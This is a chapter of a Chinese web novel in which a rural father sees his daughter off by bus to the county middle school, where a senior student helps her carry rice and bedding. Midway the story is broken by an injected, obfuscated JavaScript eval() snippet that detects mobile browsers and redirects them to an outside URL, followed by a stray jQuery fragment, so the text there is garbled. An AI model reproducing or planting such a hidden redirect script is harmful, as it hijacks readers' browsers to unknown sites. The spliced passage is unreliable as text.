去仓水中学报道的那天，阳光正好。
温笙坐在牛车后头，书包抱在怀里，鞋是春花前一晚刚给她洗过的，干净得发白，完全看不出这是一双旧鞋。
赶车的是村口的李叔，前头坐着的是她爹温大志，按照牛车的速度，到镇上得半个小时，一路上都没有人说话。
温大志抽了根烟，咳嗽了好几声，最后把烟掐灭，弹进路边的草里。
牛车在镇上的十字路口停下，他先跳下车，转身从裤兜里掏出一包皱巴巴的烟盒递给李叔。
“辛苦了。”
李叔接过烟盒，抽出一根咬在嘴角叼着，笑道：“你闺女有出息，读书去县里了，回头可就不是咱这穷地方的人了。”
温大志“哼”了一声，对坐在后面的温笙说：“还不快下来！”
温笙赶紧从牛车上跳下来，拍了拍裤子上的干草，春花刚洗过的布鞋这会儿又沾了点泥巴。
一路太颠簸了，她现在有点想吐，嘴里发苦。
他们出发的很早，到镇上时，太阳刚升起来，天是亮的，空气里混着油条味、酱菜味，还有一点煤油和柴油味，这些气味交杂在一起，更想吐了。
牛车也掉头走了，牛蹄扬起一堆尘土，温大志伸手挡了挡，顺手把烟从耳后取下来，夹在手里转了两圈，看了温笙一眼，最后没点上。
他提着米和被子往车站方向走去。
那是一袋老式编织袋装的米，足足有三十斤重，边口被叶彩凤缝上了。被子里的棉絮是春天刚添的，外头用红布包着，颜色太扎眼，在一群灰扑扑的行李里格外显眼。
布料是过年时候叶彩凤攒下来的本该给两个弟弟做新衣的，后来听说温笙考上了县中，才改了主意，把衣服拆掉重新做成被套。
镇上的车站是一间低矮的水泥屋，门头上的字掉了漆，只剩下“汽车站”三个红字还隐约能看清，屋檐下吊着一根歪斜的日光灯管，旁边的水泥墙上贴着褪了色的“文明乘车倡议书”。
温大志把米袋和被子放在一边，站在售票窗口前盯了半天，那上面的车次和站台全是密密麻麻的小字，看得令人眼花。他指着其中一行，操着一口浓重的乡音大声问：“这趟是不是去仓水县的？”
窗口里的女售票员正嗑着瓜子，不耐烦地说：“报上你去哪儿就行。”
温大志“哦”了一声，从口袋里摸出几张揉皱的纸币递进去，“就去县中那儿，我闺女今天报道。”
“仓水县中学？”女售票员这才抬头看了他一眼，“要几点的？”
“最早的就可以了。”
“六点十五那般，还有十来分钟就发车了。”
女售票员“啪”地把票撕出来，“车站在左边的第三个棚子，快点去等着，别错过了。”
温大志接过票，转身提起脚边的米袋，朝站台方向走了两步，才发现温笙没跟上，回头一看，她还站在原地看着旁边的早餐摊。
“发什么呆？”他皱眉，“二丫，跟上。”
温笙看了眼蒸笼里的包子，肚子咕咕叫了两声，只能抱紧被子，小跑着跟了上去。
温大志选了个离棚子远些的阴凉角落，把米袋搁在脚边，低头看着车票，虽然一个字也认不得，但还是装模作样地翻了两下，自言自语地说：“印这么小，是存心让人看不懂吧？”
“二丫，动作怎么这么慢？”
“车都要开了，你还磨磨蹭蹭的。”
“我来了。”
温笙还没吃早饭，脑子昏昏沉沉，大夏天的，手里的被子捂得热，身上汗黏黏，站没一会儿就觉得眼前发黑。
温大志嘴上骂着，手还是伸过来把被子一把夺了过去：“这点力气都没有，还敢一个人上学？”
这时候车开了过来，一股浓烈的尾气扑了过来。
“呸呸呸。”温大志赶紧侧过身，抬手在鼻子前用力扇了扇，“这破车也不修修，臭死人了。”
柴油味、铁锈味、皮革味、加上地上翻起来的灰土味，一起灌进鼻腔，温笙本来就难受，这下胃里更是翻江倒海，脑袋上冒着冷汗。
他转头看了看温笙，又看了眼旁边冒着热气的早餐摊，犹豫了一下，还是朝摊子走了过去，“在这等我。”
摊主是个戴围裙的中年女人，刚把蒸笼掀开，一股白雾直往脸上扑，她被热气熏得满脸通红，“要些什么？”
温大志站在摊前，低头掏了半天兜，才摸出三枚硬币。
“来三个馒头，白的，不要菜和肉。”
馒头用油纸包好递过来，他接过，也没多看一眼，转身就走回温笙身边，把包着热气的馒头往她怀里一塞，“拿好了，路上吃，别一会儿又饿晕了。”
温笙低头啃了口馒头，胃里终于舒服了点。
这时也快到发车时间了，温大志扛起被子和米袋往车厢里塞，然后对着站在门口的温笙说：“你不舒服就坐前头，别睡过站了。到学校下车的时候让司机喊你，做人机灵点，晓得不？”
温笙“嗯”了一声，刚迈上车阶，就听见他又叫住她：“等下。”
她回头。
温大志低着头，又从一边裤兜里拿出叠得整整齐齐的纸币，里面全是一毛、五毛的面额，用粗糙的小指头数了数，然后从另一边又摸出几枚硬币，攥在手里掂了掂，最后一股脑塞进她书包外侧的小兜里。
“在学校别乱花钱。”
“谢谢爹。”温笙说。
温大志偏过头，咳了一声，又道：
“在学校没有人管你，晚上别乱跑，冷了就穿秋衣，别为了好看硬扛。”
“你娘缝在被子角上的那块布，别扯掉，实在冷就拿出来垫着，是旧的我知道，凑合着用。”
“女娃娃在外头，最要紧的是安全，别惹事，也别被人欺负。”
“要真碰上那种不讲理的，你也别忍着，拿出你在家那股犟劲来，别让人当你好欺负。”
“不过也别总冲人瞪眼，你是读书人，讲理。”
温笙打断他的说教：“爹，这些我都知道。”
温大志也觉得自己有点啰嗦了，盯着她的书包看了两眼，伸手帮她把拉链拉紧，低声嘀咕：“你这拉链怎么老是拉不紧，钱丢了怎么办。”
“行了，上车吧，别误了发车时间。”
等温笙坐下后，他又从耳后取下一根烟，递给司机。
“师傅，麻烦你到仓水县中学的时候，帮我叫一声这丫头，头一回出远门，怕她坐过了。”
司机接过烟，笑着点点头：“放心吧。”
温大志这才后退两步，站在站台边朝车窗望了一眼。
温笙坐在靠窗的位置，怀里抱着书包，手攥着那张车票，也朝外看他。
父女俩隔着一层玻璃，谁都没说话。
下一秒，大巴车晃了晃，发动机轰隆一声，带着一股尾气味缓缓驶离车站。
温大志站在原地，一动不动，嘴角叼着那根始终没点着的烟，直到车彻底拐弯不见了影子，才转身离开。
大巴一停下，司机拍了拍温笙的椅背：“小姑娘，到仓水中学了。”
温笙晕晕乎乎地睁开眼，脸色白得吓人，她点了点头，慢吞吞地下了车，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198074|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚踩到地面，一股柴油味扑了上来，胃里立马翻腾得更厉害了。
司机倒是挺热心，见她人瘦小，又扶着额头喘气，帮忙把车厢里的被子和米袋都拎了出来，放在学校门口的阴影处，说了句：“自己收好啊，我得走了。”
温笙点头，连声“谢谢”都没说出来，人已经又开始觉得晕了，靠着门口旁的围墙缓了会。
她现在面对一个难题。
地上有两大包东西，一个编织袋装着的米，少说也有三十来斤重；还有一床棉被，又鼓又沉。
温笙试着把被子先搭到肩膀上，然后用两只手去抱米袋。刚弯下腰，胃就一阵抽搐，她急忙扶着墙壁站稳，捂着嘴巴干呕了几声。
现在什么都吐不出来，只觉得嘴巴发苦，眼睛什么都看不清。
没办法，她只好先把被子拖几步，放下，再折回来拽米袋，来回两趟，才移出了两三米，手心早被磨红了，手臂也酸得抬不起来。
温笙比划了一下，从她站的地方到校门口，还有不短的距离，按照她现在的速度，一整个上午都得用来搬东西了。
四处张望了一圈，发现来报到的学生大多都有家长陪着，不是帮忙扛行李的，就是直接拎着被子走在前头。
她心里盘算着：要不，去问问门卫有没有小拖车用？
就在这时，忽然有一双手从旁边伸过来，毫不费劲地把那袋沉得要命的米提了起来。
温笙愣住，下意识抬头。
上午的阳光有些刺眼，她眯了眯眼，只看到逆光里站着一个白衬衫的男生，个子高，侧着身挡住了大半的光。
是他。
那天站在宣传栏前被她拜过的学长。
“你......”
许家宁已经抬脚往前走了，发现她没有跟过来，回头一看，看到她脸色惨白，嘴唇一点血色都没有，正扶着墙做深呼吸。
“学长，你先进去吧，不用管我，我缓一下就好了。”
许家宁：“你在这等我一下。”
没过几分钟，他手里拿着一瓶常温的矿泉水，瓶盖被他拧开后递过去：“先喝点水，不冰的。”
温笙接过，有点意外：“学长，这是你特地去买的吗？”
许家宁“嗯”了一声，又从兜里摸出一小包晕车药，一并塞给她：“顺手买的，吃完会好点。”
“谢谢你，学长，你真是个好人。”她喝了几口水，再把包里的馒头拿出来啃了几口，原本苍白的脸终于恢复了些血色。
“你先休息一会，我先把米袋先搬进去，再折回来拿被子。”许家宁提议道。
“不用！”温笙赶紧提起被子，“我已经恢复了，真的拿得动，你不信，你看我还能单手拎呢。”
说完她还真用一只手提了提，来证明自己已经缓过来了。
许家宁半信半疑地看了她一眼，见她气色确实比刚才好了许多，又一副“我真的没事”的模样，只好答应。
“行，那就跟上。”他说着，先一步提起米袋，往食堂那头走去。
温笙松了口气，抱着被子跟上，她其实很想说点什么，又不知道该从哪儿开口。
总不能说“谢谢你让我拜了，我是来还愿的”，这也太丢人了。
对方走得不快，那袋沉得要命的米被他轻松提在手里，连眉头都没有皱一下，手臂稳得像是习惯了拎重物，每走几步就会微微侧身，确认她还在后面。
两人就这样一前一后走着，一句话没说，但仿佛认识了很久。
明明只见过一面，但像是心里早就预演过无数次这场相遇。